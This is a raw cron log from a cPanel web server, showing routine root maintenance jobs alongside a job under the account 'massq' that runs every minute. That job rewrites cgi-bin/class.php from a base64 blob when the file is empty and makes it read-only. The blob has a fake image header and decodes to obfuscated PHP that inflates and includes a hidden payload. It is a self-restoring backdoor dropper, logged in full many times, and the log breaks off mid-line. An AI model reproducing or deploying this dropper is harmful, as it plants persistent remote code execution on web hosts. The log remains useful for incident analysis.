Sep  3 12:05:01 server CROND[10404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:05:01 server CROND[10406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:05:01 server CROND[10408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:05:01 server CROND[10411]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:05:01 server CROND[10409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 12:05:01 server CROND[10410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:05:01 server CROND[10412]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:05:01 server CROND[10407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:06:01 server CROND[11236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:06:01 server CROND[11238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:06:01 server CROND[11239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:07:01 server CROND[11613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:07:01 server CROND[11612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:07:01 server CROND[11614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:08:01 server CROND[11976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:08:01 server CROND[11977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:08:01 server CROND[11978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:09:01 server CROND[12469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:09:01 server CROND[12471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:09:01 server CROND[12472]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 12:09:01 server CROND[12473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:10:01 server CROND[12860]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:10:01 server CROND[12861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:10:01 server CROND[12865]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:10:01 server CROND[12869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:10:01 server CROND[12872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:10:01 server CROND[12871]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:10:01 server CROND[12873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:10:01 server CROND[12870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:11:01 server CROND[13713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:11:01 server CROND[13714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:11:01 server CROND[13715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:12:01 server CROND[14094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:12:01 server CROND[14096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:12:01 server CROND[14095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:12:01 server CROND[14097]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 12:13:01 server CROND[14454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:13:01 server CROND[14456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:13:01 server CROND[14455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:14:01 server CROND[14915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:14:01 server CROND[14916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:14:01 server CROND[14917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:15:01 server CROND[15300]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 12:15:01 server CROND[15301]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:15:01 server CROND[15306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 12:15:01 server CROND[15308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:15:01 server CROND[15316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:15:01 server CROND[15322]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 12:15:01 server CROND[15323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:15:01 server CROND[15320]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 12:15:01 server CROND[15321]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 12:15:01 server CROND[15325]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  3 12:16:01 server CROND[16206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:16:01 server CROND[16207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKj